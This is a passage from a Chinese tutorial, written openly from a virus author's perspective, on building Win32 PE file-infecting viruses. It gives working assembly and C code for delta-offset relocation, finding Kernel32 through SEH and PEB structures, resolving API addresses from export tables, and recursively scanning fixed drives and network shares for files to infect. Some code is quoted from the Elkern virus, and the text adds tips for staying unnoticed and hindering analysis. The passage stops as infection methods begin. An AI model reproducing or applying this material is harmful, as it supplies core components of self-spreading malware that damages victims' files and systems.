        从原理上看病毒非常简单,但实现起来还有不少困难,其实如果解决了这些技术难点,一个五脏俱全的病毒也就形成了,本文后面将从一个病毒编写者的角度就各个难点分别予以介绍。病毒可采用的技术几乎涉及到Windows程序设计的所有方面,但限于篇幅,本文亦不可能全部介绍,本文将重点介绍Win32用户模式病毒所常用的一些技术。

* 编程语言
 
        任何语言只要表达能力足够强,都可用于编写PE病毒。但现存的绝大部分PE病毒都是直接用汇编编写的,一方面是因为汇编编译后的代码短小精悍,可以充分进行人工优化,以满足隐蔽性的要求;另外一方面之所以用汇编是因为其灵活和可控,病毒要同系统底层有时甚至是硬件打交道,由于编译器的特点不尽相同,用高级语言实现某些功能甚至会更加麻烦,比如用汇编很方便地就可以直接进行自身重定位、自身代码修改以及读写IO端口等操作,而用高级语言实现则相对烦琐。用汇编还可以充分利用底层硬件支持的各种特性,限制非常少。但是用汇编编写病毒的主要缺点就是编写效率低,加上使用各种优化手段使得代码阅读起来相当困难,不过作为一种极限编程技术,对病毒作者而言,这些似乎都已经不再重要。本文假设读者熟悉汇编语言,各种举例使用Intel格式的汇编代码,编译器可使用MASM或FASM进行编译,由于汇编语言表述算法较为不便,因此算法和原理性表述仍然采用C语言。在讲述各种技术时,部分代码直接取自病毒Elkern的源代码,该病毒在2002年曾经大规模流行,其代码被收录于著名病毒杂志29A第7期中,有兴趣的读者可参阅其完整代码。

* 重定位

        病毒自身的重定位是病毒代码在得以顺利运行前应解决的最基本问题。病毒代码在运行时同样也要引用一些数据,比如API函数的名字、杀毒软件的黑名单、系统相关的特殊数据等,由于病毒代码在宿主进程中运行时的内存地址是在编译汇编代码时无法预知的,而病毒在感染不同的宿主时其位于宿主中的准确位置同样也无法提前预知,因此病毒就要在运行时动态确定其引用数据的地址,否则,引用数据时几乎肯定会发生错误。对于普通的PE文件比如动态链接库而言,在被加载到不同地址处时由加载器根据PE中一个被称为重定位表的特殊结构动态修正引用数据指令的地址,而重定位表是由编译器在编译阶段生成的,因此动态链接库本身无需为此做任何额外处理。病毒代码则不同,必须自己动态确定需引用数据的地址。比如一段病毒代码被加载在0x400000处,地址0x401000处的一条语句及其引用的数据定义如下所示,相关地址是编译器在编译时计算得到的,这里假设编译时预设的基地址也是0x400000:
401000:   
    mov eax,dword ptr [402035]
    ......
402035:
    db "hello world!",0
  如果病毒代码在宿主中也加载到基地址0x400000,显然是能够正常执行的,但如果这段代码被加载在基地址0x500000运行时则出错,对病毒而言,这是大多数时候都会遇到的情况,因为指令中引用的仍然是0x402035这个地址。如果病毒代码不是在宿主进程中而是作为一个具有重定位表的独立PE文件运行,正常情况下由系统加载器根据重定位表表项将 mov eax,dword ptr [402035]中的0x402035修改为正确值0x502305,这样这句代码就变成了mov eax,dword ptr [5402035],程序也就能准确无误地运行了。不过很可惜,对在其它进程内运行病毒代码而言,必须采取额外的手段、付出额外的代价感染宿主PE文件时就及时加以解决,否则将导致宿主进程无法正常运行。

至少有两种方法可以解决重定位的问题:

A)第一种方法就是利用上述PE文件重定位表项的特殊作用构造相应的重定位表项。在感染目标PE文件时,将引用自身数据的需要被重定位的地址全部写入目标PE文件的重定位表中,如果目标PE无任何重定位表项(如用MS linker的/fixed)则创建重定位表节并插入新的重定位项;若已经存在重定位表项,则在修改已存在的重定位表节,在其中插入包含了这些地址的新表项。重定位的工作就完全由系统加载器在加载PE文件的时候自动进行了。重定位表项由PE文件头的DataDirectory数据中的第6个成员IMAGE_DIRECTORY_ENTRY_BASERELOC指向。该方法需要的代码稍多,实现起来也相对比较复杂,另外如果目标文件无重定位表项(为了减小代码体积,这种情况也不少见),处理起来就比较麻烦,只有用高级语言编写病毒才常用该种方法,在一般的PE病毒中很少使用。

B)利用Intel X86体系结构的特殊指令,call或fnstenv等指令动态获取当前指令的运行时地址,计算该地址与编译时预定义地址的差值(被称为delta offset),再将该差值加到原编译时预定的地址上,得到的就是运行时数据的正确地址。对于intel x86指令集而言,在书写代码时,通过将delta offset放在某个寄存器中,然后通过变址寻址引用数据就可以解决引用数据重定位的难题。还以上例说明,假如上述指令块被操作系统映射在0x500000处那么代码及其在内存中的地址将变为:
501000:   
    mov eax,dword ptr [402035] 
    ......
502035:
    db "hello world!",0

  显然,mov指令引用的操作数地址是不正确的,如果我们知道了mov指令运行时地址是0x501000,那么计算该地址和编译时该指令预设地址的差值:0x501000-0x401000 = 0x100000。很显然指令引用的实际数据地址应该为0x402035+0x100000 = 0x502035。从上例可以看出,只要能够在运行时确定某条指令动态运行时的地址,而其编译时地址已知,我们就能够通过将delta offset加到相应的地址上正确重定位任何代码或数据的运行时地址。原理如图4所示:


图4 delta iffset

        通常只要在病毒代码的开始计算出delta offset,通过变址寻址的方式书写引用数据的汇编代码,即可保证病毒代码在运行时被正确重定位。假设ebp包含了delta offset,使用如下变址寻址指令则可保证在运行时引用的数据地址是正确的:
;ebp包含了delta offset值
401000:   
    mov eax,dword ptr [ebp+0x402035]
    ......
402035:
    db "hello world!",0
        在书写源程序时可以采用符号来代替硬编码的地址值,上述的例子中给出的不过是编译器对符号进行地址替换后的结果。现在的问题就转换成如何获取delta offset的值了,显然:
    call    delta
delta:
    pop     ebp
    sub     ebp,offset delta
        在运行时就动态计算出了delta offset值,因为call要将其后的第一条指令的地址压入堆栈,因此pop ebp执行完毕后ebp中就是delta的运行时地址,减去delta的编译时地址“offset delta”就得到了delta offset的值。除了用明显的call指令外,还可以使用不那么明显的fstenv、fsave、fxsave、fnstenv等浮点环境保存指令进行,这些指令也都可以获取某条指令的运行时地址。以fnstenv为例,该指令将最后执行的一条FPU指令相关的协处理器的信息保存在指定的内存中,结构如下图5所示:

图5 浮点环境块的结构

       该结构偏移12字节处就是最后执行的浮点指令的运行时地址,因此我们也可以用如下一段指令获取delta offset:
fpu_addr:
    fnop
    call    GetPhAddr
    sub     ebp,fpu_addr

GetPhAddr:
    sub  esp,16
    fnstenv [esp-12]
    pop     ebp
    add     esp,12
    ret

  delta offset也不一定非要放在ebp中,只不过是ebp作为栈帧指针一般过程都不将该寄存器用于其它用途,因此大部分病毒作者都习惯于将delta offset保存在ebp中,其实用其他寄存器也完全可以。
  在优化过的病毒代码中并不经常直接使用上述直接计算delta offset的代码,比如在Elkern开头写成了类似如下的代码:
        call _start_ip
_start_ip:
        pop ebp
    ;...
        ;使用
        call [ebp+addrOpenProcess-_start_ip]
    ;...
addrOpenProcess dd 0
        ;而不是
        call _start_ip
_start_ip:
        pop ebp
        sub ebp,_start_ip
        call [ebp+addrOpenProcess]

  为什么不采用第二种书写代码的方式?其原因在于尽管第一种格式在书写源码时显得比较罗嗦,但是addrOpenProcess-_start_ip是一个较小相对偏移值,一般不超过两个字节,因此生成的指令较短,而addrOpenProcess在32 Win32编译环境下一般是4个字节的地址值,生成的指令也就较长。有时对病毒对大小要求很苛刻,更多时候也是为了显示其超俗的编程技巧,病毒作者大量采用这种优化,对这种优化原理感兴趣的读者请参阅Intel手册卷2中的指令格式说明。

* API函数地址的获取

        在能够正确重定位之后,病毒就可以运行自己代码了。但是这还远远不够,要搜索文件、读写文件、进行进程枚举等操作总不能在有Win32 API的情况下自己用汇编完全重新实现一套吧,那样的编码量过大而且兼容性很差。Win9X/NT/2000/XP/2003系统都实现了同一套在各个不同的版本上都高度兼容的Win32 API,因此调用系统提供的Win32 API实现各种功能对病毒而言就是自然而然的事情了。
  所以接下来要解决的问题就是如何动态获取Win32 API的地址。最早的PE病毒采用的是预编码的方法,比如Windows 2000中CreateFileA的地址是0x7EE63260,那么就在病毒代码中使用call [7EE63260h]调用该API,但问题是不同的Windows版本之间该API的地址并不完全相同,使用该方法的病毒可能只能在Windows 2000的某个版本上运行。因此病毒作者自然而然地回到PE结构上来探求解决方法,我们知道系统加载PE文件的时候,可以将其引入的特定DLL中函数的运行时地址填入PE的引入函数表中,那么系统是如何为PE引入表填入正确的函数地址的呢?答案是系统解析引入DLL的导出函数表,然后根据名字或序号搜索到相应引出函数的的RVA(相对虚拟地址),然后再和模块在内存中的实际加载地址相加,就可以得到API函数的运行时真正地址。在研究操作系统是如何实现动态PE文件链接的过程中,病毒作者找到了以下两种解决方案:

A)在感染PE文件的时候,可以搜索宿主的函数引入表的相关地址,如果发现要使用的函数已经被引入,则将对该API的调用指向该引入表函数地址,若未引入,则修改引入表增加该函数的引入表项,并将对该API的调用指向新增加的引入函数地址。这样在宿主程序启动的时候,系统加载器已经把正确的API函数地址填好了,病毒代码即可正确地直接调用该函数。

B)系统可以解析DLL的导出表,自然病毒也可以通过这种手段从DLL中获取所需要的API地址。要在运行时解析搜索DLL的导出表,必须首先获取DLL在内存中的真实加载地址,只有这样才能解析从PE的头部信息中找到导出表的位置。应该首先解析哪个DLL呢?我们知道Kernel32.DLL几乎在所有的Win32进程中都要被加载,其中包含了大部分常用的API,特别是其中的LoadLibrary和GetProcAddress两个API可以获取任意DLL中导出的任意函数,在迄今为止的所有Windows平台上都是如此。只要获取了Kernel32.DLL在进程中加载的基址,然后解析Kernel32.DLL的导出表获取常用的API地址,如需要可进一步使用Kernel32.DLL中的LoadLibrary和GetProcAddress两个API更简单地获取任意其他DLL中导出函数的地址并进行调用。

* 获取Kernel32.DLL基址

  获取Kernel32.DLL基址的方法很多,最常见的一种是搜索法,如果已知Kernel32.DLL加载的大致地址,那么可由该地址向高地址或低地址进行搜索可以找到其基址。另外一种方法是搜索NT PEB结构中的模块列表获取Kernel32.DLL的准确加载基址。下面看一下具体的实现代码:

方法1:暴力搜索获取Kernel32.DLL的基址

         最初的病毒是指定一个大致的加载地址,比如根据实验在9X下其加载地址是0xBFF70000;在Windows 2000下加载基址是0x77E80000;在XP和2003下其加载基址是0x77E60000,因此在NT系统下就可以从0x77e00000开始向高地址搜索,在9X下可以从0xBFF00000开始向高地址搜索,如果搜索到Kernel32.DLL的加载地址,其头部一定是“MZ”标志,由模块起始偏移0x3C的双字确定的PE头部标志必然是“PE”标志,因此可根据这两个标志判断是否找到了模块加载地址,也许有人认为该方法不可靠,因为如果恰好有某段数据符合这两个特征,那么找到的基址可能就是错误的,但经实验证明,该判断方法非常可靠,基本不会出现错误。有一点需要注意的是,在所有版本的Windows系统下Kernel32.DLL的加载基址都是按照0x10000对齐的,根据这一特点可以不必逐字节搜索,按照64K对齐的边界地址搜索即可。
       从大致的一个地址开始搜索Kernel32.DLL基址可能会出现读写到未映射内存区域的情况,因此需要和SEH配合使用。如果有在各个版本下准确获取Kernel32.DLL中某地址的通用方法,那么就可以更可靠地从该地址开始向低地址搜索,显然会更加通用。事实上,这种方法是存在的。在系统加载PE文件跳转到PE入口点第一条指令的时候,堆栈顶保存的就是Kernel32.DLL中的某个地址,Elkern中采用的就是这种方法:
_start:
        pushfd ;If some flags,especial DF,changed,some APIs can crash down!!!
        pushad
_start_@1 equ $
        ;......
        mov ebx,[esp+9*4]   ;前面已经由pushfd和pushad压入了9个双字
        and ebx,0ffe00000h  ;该地址为Kernel32.dll模块下方的某个地址
                ;先减去0x100000确保该地址处于Kernel32.dll的下方
                ;向高地址搜索如果将来Windows的发行版本中Kernel32.dll
                ;大小和代码结构发生变化,该方法可能无效

  ebx中现在已经是Kernel32.DLL基址之前某个地址了,后续代码可以向高地址搜索其基址。该方法有一个缺点,就是必须明确知道程序入口的堆栈指针值,或间接可计算出该值,对于那些在程序入口获取控制权的病毒代码而言,是可以的,但对于采用EPO技术的病毒而言,该方法则不适用。事实上还有另外一种更加通用的方法,我们知道在Win32程序执行过程中fs段寄存器的基址总是指向进程的TEB,TEB的第一个成员指向SEH链表,该链表每个节点都是一个EXCEPTION_REGISTRATION结构,该结构定义如下:
struct EXCEPTION_REGISTRATION{
    struct EXCEPTION_REGISTRATION *prev;
 void* handler;
};
在Windows下SEH链表最后一个成员的handler指向Kernel32.DLL中函数UnhandledExceptionFilter的起始地址,利用这一特性我们可以写出更通用的代码:
        xor     esi,esi
        lods    dword [fs:esi];取得SEH链表的头指针
      @@:
        inc     eax             ;是否是最后一个SEH节点,检查prev是否为0xFFFFFFFF
        je      @F
        dec     eax
        xchg    esi,eax        
        LODSD                   ;下一个SEH节点
        jmp     near @B
      @@:
        LODSD                   ;取得Kernel32.dll中UnhandledExceptionFilter的地址

         在有的病毒直接以0x7FFDE000作为TEB的指针值,其原因在于在Windows 2003 SP1、Windows XP SP2以前的NT类系统上,该值是固定的,这样的确可以节省一两个字节。但是在Windows 2003 SP1、Windows XP SP2中,情况已经发生了变化,出于安全性的考虑,Windows系统开始动态映射TEB了,也就是说,指向TEB的指针值不再固定,因此这种硬编码的方法也就走到了尽头。此时可以按照前面的方法向低地址搜索判断直到找到Kernel32.dll的基址为止。Elkern中判断是否找到了Kernel32.dll基址的相关代码如下:
search_api_addr_@1:
        add ebx,10000h
        jz short search_api_addr_seh_restore
        cmp word ptr [ebx],'ZM'   ;是否是MZ标志
        jnz short search_api_addr_@1
        mov eax,[ebx+3ch]
        add eax,ebx
        cmp word ptr [eax],'EP'   ;是否具有PE标志
        jnz short search_api_addr_@1
   ;找到了kernel32.dll的基址

方法2:搜索PEB的相关结构获取Kernel32.DLL的基址

        前述TEB偏移0x30处,亦即FS:[0x30]地址处保存着一个重要的指针,该指针指向PEB(进程环境块),PEB成员很多,这里并不介绍PEB的详细结构。我们只需要知道PEB结构的偏移0xC处保存着另外一个重要指针ldr,该指针指向PEB_LDR_DATA结构:
typedef struct _PEB_LDR_DATA
{
                                                          
  ULONG             Length;                              // +0x00  
  BOOLEAN           Initialized;                         // +0x04  
  PVOID             SsHandle;                            // +0x08  
  LIST_ENTRY        InLoadOrderModuleList;   // +0x0c  
  LIST_ENTRY        InMemoryOrderModuleList;          // +0x14  
  LIST_ENTRY        InInitializationOrderModuleList;// +0x1c
} PEB_LDR_DATA,*PPEB_LDR_DATA;                        // +0x24      
  该结构的后三个成员是指向LDR_MODULE链表结构中相应三条双向链表头的指针,分别是按照加载顺序、在内存中的地址顺序和初始化顺序排列的模块信息结构的指针。LDR_MODULE结构如下所示:
typedef struct _LDR_MODULE
{
    LIST_ENTRY        InLoadOrderModuleList;             // +0x00
    LIST_ENTRY        InMemoryOrderModuleList;          // +0x08
    LIST_ENTRY        InInitializationOrderModuleList; // +0x10
    PVOID             BaseAddress;                        // +0x18
    PVOID             EntryPoint;                         // +0x1c
    ULONG             SizeOfImage;                        // +0x20
    UNICODE_STRING    FullDllName;                       // +0x24
    UNICODE_STRING    BaseDllName;                       // +0x2c
    ULONG             Flags;                              // +0x34
    SHORT             LoadCount;                          // +0x38
    SHORT             TlsIndex;                           // +0x3a
    LIST_ENTRY        HashTableEntry;                    // +0x3c
    ULONG             TimeDateStamp;                      // +0x44
                                                          // +0x48
} LDR_MODULE, *PLDR_MODULE;

  Peb->Ldr->InInitializationOrderModuleList指向按照初始化顺序排序的第一个LDR_MODULE节点的InInitializationOrderModuleList成员的指针,在WinNT平台(不包含Win9X)下,该链表头节点的LDR_MODULE结构包含的是NTDLL.DLL的相关信息,而链表的下一个节点所包含的就是Kernel32.dll相关的信息了,该节点LDR_MODULE结构中的BaseAddress不正是我们所苦苦寻找的吗。注意InInitializationOrderModuleList是LDR_MODULE的第3个成员,因此要获取BaseAddress的地址,只需将其指针加8再derefrence即可。因此下面的汇编代码即可获取Kernel32.DLL的基址:

 mov eax, dword ptr fs:[30h]     ;获取PEB基址
     mov eax, dword ptr [eax+0ch] ;获取PEB_LDR_DATA结构指针
     mov esi, dword ptr [eax+1ch] 
     ;获取InInitializationOrderModuleList链表头第一个LDR_MODULE节点
     InInitializationOrderModuleList成员的指针
    lodsd                 ;获取双向链表当前节点后继的指针
  mov ebx, dword ptr [eax+08h] ;取其基地址,该结构当前包含的是
                     ;kernel32.dll相关的信息

        该方法在所有的Windows NT(包括Windows 2003 SP1和Windows XP SP2)操作系统上都是有效的,唯一的缺憾是由于PEB结构不同,该方法在Win9X系统上无效。听起来可能比较费解,还是用一张图更加清晰一些:


图6 利用PEB搜索kernel32.dll基地址的过程

* 解析PE文件的导出函数表

  PE文件的函数导出机制是进行模块间动态调用的重要机制,对于正常的程序,相关操作是由系统加载器在程序加载前自动完成的,对用户程序是透明的。但要想在病毒代码中实现函数地址的动态解析以取代加载器,那就有必要了解函数导出表的结构了。在图1中可以看到在PE头结构IMAGE_OPTIONAL_HEADER32结构中包含一个DataDirectory数组结构,该结构包含16个成员,每个成员都是一个IMAGE_DATA_DIRECTORY结构:
  typedef struct _IMAGE_DATA_DIRECTORY {
      DWORD   VirtualAddress;
      DWORD   Size;
  } IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;
  DataDirectory数组的每个结构都指向一个重要的数据结构,第一个成员指向导出函数表(索引0),第2个成员指向PE文件的引入函数表(索引1)。DataDirectory中的第一个成员指向导出函数表的IMAGE_EXPORT_DIRECTORY结构:
typedef struct _IMAGE_EXPORT_DIRECTORY {
    DWORD   Characteristics;
    DWORD   TimeDateStamp;
    WORD    MajorVersion;
    WORD    MinorVersion;
    DWORD   Name;
    DWORD   Base;
    DWORD   NumberOfFunctions;
    DWORD   NumberOfNames;
    DWORD   AddressOfFunctions;     // RVA from base of image
    DWORD   AddressOfNames;         // RVA from base of image
    DWORD   AddressOfNameOrdinals;  // RVA from base of image
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;
 AddressOfFunctions是一个双字数组,包含了所有导出函数的RVA,另外两个成员AddressOfNames也是一个双字数组,包含了指向导出函数名字的字符串的RVA,AddressOfNameOrdinals是一个字数组(16bit),和AddressOfNames数组是并行的,和AddressOfNames数组一起确定了相应引出函数的序号,该序号可直接用于索引AddressOfFunctions数组获取导出函数的地址。因此病毒搜索指定的API就包含了如下步骤:

a)获取NumberOfNames的值以及AddressOfNames、AddressOfNameOrdinals和AddressOfFunctions的数组的地址。
b)搜索AddressOfNames数组,按字符串对比,若找到相应的API,转d
c)若NumberOfNames名字尚未全部搜索完毕,转b继续搜索,若搜索完毕,则表明未找到进行错误处理,这一步通常可以省略,因为我们已经知道相应的DLL中肯定导出了相应的函数。
d)获取当前函数名字指针在AddressOfNames数组中的索引,在AddressOfNameOrdinals数组中取出以该值索引的函数序号,以该序号值作为AddressOfFunctions数组的索引,在AddressOfFunctions数组中取出导出函数的RVA值,加上基址就得到了运行时导出函数的地址。

        看起来似乎比较罗嗦,实际上这是PE设计时为考虑灵活性而做出的牺牲。不过实现起来还是比较简单的,通常汇编代码编译后不到100字节。以下是在Kernel32搜索GetProcAddress的完整代码:

       push     esi
                                ;esi=VA Kernel32.BASE
                                ;edi=RVA K32.pehdr
        mov     ebp,esi
        mov     edi,[ebp+edi+peh.DataDirectory]

        push    edi esi

        mov     eax,[ebp+edi+peexc.AddressOfNames]
        mov     edx,[ebp+edi+peexc.AddressOfNameOrdinals]
        call    @F
        db     "GetProcAddress",0
      @@:
        pop     edi
        mov     ecx,15
        sub     eax,4
     next_:
        add     eax,4
        add     edi,ecx
        sub     edi,15
        mov     esi,[ebp+eax]
        add     esi,ebp
        mov     ecx,15
        repz    cmpsb    ;进行字符串比较,判断是否为要查找的函数
        jnz     next_

        pop     esi edi

        sub     eax,[ebp+edi+peexc.AddressOfNames]
        shr     eax,1
        add     edx,ebp
        movzx   eax,word [edx+eax]
        add     esi,[ebp+edi+peexc.AddressOfFunctions]
        add     ebp,[esi+eax*4]      ;ebp=Kernel32.GetProcAddress.addr
                                         ;use GetProcAddress and hModule to get other func
        pop     esi                     ;esi=kernel32 Base
        在前面解析导出函数表获取API地址的时候,采用的是直接比较字符串的方法判断是不是找到了相应的API,其实还可以计算函数名字的hash,然后同预计算的hash进行比对,现代的PE病毒更多采用的hash的方法,其原因在于一般的函数名字长度都大于4字节,而用hash只要占用4个字节或2个字节,可以节省空间,此外还有抗病毒分析的作用,因为hash要比字符串名字费解得多。hash算法的设计只要能保证无冲突即可,可以用crc等成熟算法,也可以设计自己的简单算法。在Elkern中就使用了crc16算法。

* 文件搜索

  文件搜索是病毒的重要功能模块之一,也是实现感染和传播的关键。现代Windows和各种移动介质的文件系统可能采用多种复杂格式,因此象一些Dos病毒一样试图直接存取文件系统(读写扇区)是不大现实的。通常利用Win32 API的FindFirstFile和FindNextFile来实当前目录下所有目录和文件的搜索,通过判断搜索到的文件属性,可区分是否为目录或可执行文件,对于可执行文件则根据预先设计好的感染策略进行感染;对于当前目录下的所有子目录以及特殊的..父目录,可以使用递归或非递归的方式利用上述两个API全部进行遍历,因此从某个驱动器或网络共享文件夹的任意一个子目录开始,都可以遍历当前驱动器或网络共享文件夹内的所有文件和目录。一般地,搜索文件从驱动器或共享文件夹的根目录开始,那么如何得到当前系统中存在的所有驱动器或所有的共享文件夹列表呢?对于前一个问题,我们知道Windows下可划分A:~Z:共26个逻辑盘符,因此可以从A:开始递增搜索所有的驱动器,使用Win32 API GetDriveType判断当前搜索的盘符是否存在,以及是否是固定硬盘、可移动存储介质、是否可写或是网络驱动器等。一般病毒只感染固定硬盘或网络驱动器。由于汇编语言在表述算法时显得过于冗长,因此算法部分使用C语言描述,当然将C算法转换成汇编语言是很简单的过程。
  下面的代码enumdisk.cpp将显示A-Z各个驱动器的相关属性:

#include
#include

#define MAX_DRIVENAME_LENGTH    64
void __cdecl main(int argc,char *argv[])
{
    char DriveName[MAX_DRIVENAME_LENGTH];
    char *p;
    unsigned int drv_attr;

    p = DriveName;
    strncpy(DriveName,"A:",MAX_DRIVENAME_LENGTH);

    for(;*p<'Z';++*p) {
        drv_attr = GetDriveType(p);
       
        switch(drv_attr)
        {
        case DRIVE_UNKNOWN:  // 未知类型
            printf("drive %s type %s\n",p,"DRIVE_UNKNOWN");break;   
        case DRIVE_NO_ROOT_DIR:  // 该驱动器不存在
            printf("drive %s type %s\n",p,"DRIVE_NO_ROOT_DIR");break;
        case DRIVE_REMOVABLE: // 可移动盘,软盘或U盘或移动硬盘等
            printf("drive %s type %s\n",p,"DRIVE_REMOVABLE");break; 
        case DRIVE_FIXED:  // 固定硬盘
            printf("drive %s type %s\n",p,"DRIVE_FIXED");break;     
        case DRIVE_REMOTE:  // 一般是映射网络驱动器
            printf("drive %s type %s\n",p,"DRIVE_REMOTE");break;    
        case DRIVE_CDROM:  // 光盘
            printf("drive %s type %s\n",p,"DRIVE_CDROM");break;     
        case DRIVE_RAMDISK:  // RAM DISK
            printf("drive %s type %s\n",p,"DRIVE_RAMDISK");break;   
        }
    }
}
  
  与仅仅显示一条信息不同的是,病毒此时将调用文件枚举函数(如后面给出的enum_path函数)从当前根目录开始遍历DRIVE_FIXED的驱动器上的所有文件,根据预定义策略进行文件感染。
  
  网络共享资源也是按树状组织的,非叶节点称为容器(container),对容器需要进一步搜索直到到达叶子节点为止,叶子节点才是共享资源的根路径。共享资源一般分成两种:共享打印设备和共享文件夹。对于网络共享文件的搜索,采用WNetOpenEnum和WNetEnumResource(由mpr.dll导出)进行递归枚举。其函数原型及参数含义请参阅MSDN,使用如下代码enumshare.cpp将显示所有的网络驱动器共享文件夹的路径:
  
  #include
  #include
  #pragma comment(lib,"mpr.lib")
  
  int enum_netshare(LPNETRESOURCE lpnr);
  
  void __cdecl main(int argc,char *argv[])
  {
      enum_netshare(0);
  }
  
  
  int enum_netshare(LPNETRESOURCE lpnr)
  {
      DWORD r, rEnum,usage;
      HANDLE hEnum;
      DWORD cbBuffer = 16384;     
      DWORD cEntries = -1;        
      LPNETRESOURCE lpnrLocal;    // NETRESOURCE数组结构的指针
      DWORD i;
  
   
      r = WNetOpenEnum(RESOURCE_GLOBALNET,    // 范围:所有网络资源
                            RESOURCETYPE_DISK,// 类型:仅枚举可存储介质
                            RESOURCEUSAGE_ALL,// 使用状态:所有
                            lpnr,             // 初次调用时为NULL
                            &hEnum);          // 成功后返回的网络资源句柄
  
      if (r != NO_ERROR) { 
          printf("WNetOpenEnum error....\n");
          return FALSE;
      }
     
      lpnrLocal = (LPNETRESOURCE) malloc(cbBuffer);
      if (lpnrLocal == NULL)
          return FALSE;
   
      do
      { 
          ZeroMemory(lpnrLocal, cbBuffer);   
  
          rEnum = WNetEnumResource(hEnum,            
                                        &cEntries,    // 返回尽可能多的结果
                                        lpnrLocal,    // LPNETRESOURCE
                                        &cbBuffer);   // buffer大小
          if (rEnum == NO_ERROR) {
  
              for(i = 0; i < cEntries; i++) {
                 
                  usage = lpnrLocal[i].dwUsage;
                 
                  if(usage & RESOURCEUSAGE_CONTAINER) {
                     
                      if(!enum_netshare(&lpnrLocal[i]))
                          printf("Errors detected in enum process...\n");               
                  }else{
  
                      // 这里病毒可调用遍历函数遍历该共享文件夹下的所有文件
       // enum_path(lpnrLocal[i].lpRemoteName);
                      printf("find %s --> %s\n",lpnrLocal[i].lpLocalName,
                                                  lpnrLocal[i].lpRemoteName);
                  }
              }
          }else if (rEnum != ERROR_NO_MORE_ITEMS) {
              printf("WNetEnumResource error...\n");
              break;
          }
      }while(rEnum != ERROR_NO_MORE_ITEMS);
  
      free((void*)lpnrLocal);
  
      r = WNetCloseEnum(hEnum);
       
      if(r != NO_ERROR) {
          printf("WNetCloseEnum error....\n");
          return FALSE;
      }
  
      return TRUE;
  }

  遍历开始时WNetOpenEnum第4形参为0,在发现共享容器进行递归调用时候,该参数将为共享容器的NETRESOURCE结构指针。从NETRESOURCE结构中可以找到我们感兴趣的lpRemoteName,该指针不为0则表示是有效的共享容器或共享文件夹。
  
typedef struct _NETRESOURCE {
  DWORD dwScope;
  DWORD dwType;
  DWORD dwDisplayType;
  DWORD dwUsage;
  LPTSTR lpLocalName;
  LPTSTR lpRemoteName;
  LPTSTR lpComment;
  LPTSTR lpProvider;
} NETRESOURCE;

        在解决了起始目录的问题之后,就可以从这些起始目录开始使用FindFirstFile和FindNextFile开始遍历其下以及其子目录下的所有文件和目录了,遍历方法可采用深度优先或广度优先搜索算法,较常用的还是深度优先算法。具体实现方式可采用递归搜索或非递归搜索两种实现方式。递归搜索需要占用栈空间,有可能造成栈空间耗竭而产生异常,不过在现实应用中这种情况很少出现,而非递归搜索则不存在此问题,但代码实现略复杂。在现实应用中,应用最多的还是递归遍历搜索。搜索时,可指定FindFirstFile的第一形参为*.*以搜索所有文件,根据搜索结果WIN32_FIND_DATA结构的dwFileAttributes成员判断是否为目录,若为目录则需要继续遍历该子目录,根据WIN32_FIND_DATA的cFileName中的文件名成员判断是否具有要感染的文件后缀以采取修改感染动作,以下代码实现了递归搜索某个目录及其下所有子目录的功能:

void enum_path(char *cpath){

    WIN32_FIND_DATA wfd;
    HANDLE hfd;
    char cdir[MAX_PATH];
    char subdir[MAX_PATH];

    int r;

    GetCurrentDirectory(MAX_PATH,cdir);
    SetCurrentDirectory(cpath);

    hfd = FindFirstFile("*.*",&wfd);

    if(hfd!=INVALID_HANDLE_VALUE) {
        do{
            if(wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
                if(wfd.cFileName[0] != '.') {
                    //合成完整路径名
                    sprintf(subdir,"%s\\%s",cpath,wfd.cFileName);  
                    //递归枚举子目录
                    enum_path(subdir);               
                }
            }else{

                printf("%s\\%s\n",cpath,wfd.cFileName);
                // 病毒可根据后缀名判断是否要感染相应的文件       
            }
           
        }while(r=FindNextFile(hfd,&wfd),r!=0);   
    }
    SetCurrentDirectory(cdir);
}

         短短20多行C代码就实现了文件遍历的功能,Win32 API的强大功能不仅为开发者提供了便利,同时也为病毒敞开了方便之门。用汇编实现则稍微复杂一些,感兴趣的读者可参阅Elkern中的enum_path部分,原理是一样的,限于篇幅这里不再给出相应的汇编代码。
 非递归搜索不使用堆栈存储相关的信息,而使用显式分配的链表或栈等结构存储相关的信息,应用一个迭代循环完成递归遍历同样的功能,下面是使用链表以栈方式处理子目录列表的一个简单实现:

void nr_enum_path(char *cpath){

    list dir_list;
    string cdir,subdir;
    WIN32_FIND_DATA wfd;
    HANDLE hfd;   
    int r;

    dir_list.push_back(string(cpath));

    while(dir_list.size()) {
        cdir = dir_list.back();
        dir_list.pop_back();
       
        SetCurrentDirectory(cdir.c_str());

        hfd = FindFirstFile("*.*",&wfd);

        if(hfd!=INVALID_HANDLE_VALUE) {
            do{
                if(wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
                    if(wfd.cFileName[0] != '.') {
                        //合成完整路径名
                        subdir=cdir+"\\"+wfd.cFileName;
                        cout<<"push subdir: "<                        //递归枚举子目录
                        dir_list.push_back(string(subdir));               
                    }
                }else{

                    printf("%s\\%s\n",cpath,wfd.cFileName);
                    // 病毒可根据后缀名判断是否要感染相应的文件       
                }
               
            }while(r=FindNextFile(hfd,&wfd),r!=0);   
        }   
    }//end while
}

         在以汇编语言实现时,需要自己管理链表以及分配和释放相应的结构,因此较为烦琐,代码量也稍大,因此病毒多采用递归的方式进行搜索。值得注意的是搜索深层次的目录是很费时的,因此大部分病毒为避免CPU占用率过高,搜索一定数量的文件之后,都会调用Sleep休眠一会,以避免被敏感的用户发觉。文件搜索和感染模块通常是以单独的线程运行的,在病毒获得控制权后,创建相应的搜索和感染线程,而将主现成的控制权交给原程序。

* PE文件的修改和感染策略

  既然已经能够搜索磁盘及网络共享文件中的所有文件,要实现寄生,那么自然下一步就是对搜索到的PE文件进行感染了。感染PE的很重要的一个考虑就是将病毒代码写入到PE文件的哪个位置。读写文件一般利用Win32 API CreateFile、CreateFileMapping、MapViewOfFile等API以内存映射文件的方式进行,这样可以避免自己管理缓冲的麻烦,因而为较多病毒所采用。为了能够读写具有只读属性的文件,病毒在操作前首先利用GetFileAttributes获取其属性并保存,然后用SetFileAttributes将文件的属性修改为可写,在感染完毕后再恢复其属性值。
  
  一般说来,有如下几种感染PE文件的方案供选择:
  
